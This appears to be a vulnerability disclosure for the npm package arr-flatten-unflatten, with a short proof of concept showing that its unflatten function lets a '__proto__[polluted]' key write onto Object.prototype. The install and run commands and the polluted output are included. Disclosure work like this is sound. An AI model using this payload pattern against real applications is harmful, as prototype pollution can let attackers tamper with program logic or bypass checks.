arr-flatten-unflatten

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

arr-flatten-unflatten is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var arrFlattenUnflatten = require("arr-flatten-unflatten")
console.log("Before : " + {}.polluted);
arrFlattenUnflatten.unflatten({'__proto__[polluted]': 'Yes! Its Polluted'});
console.log("After : " + {}.polluted);
  1. Execute the following commands in terminal:
npm i arr-flatten-unflatten # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted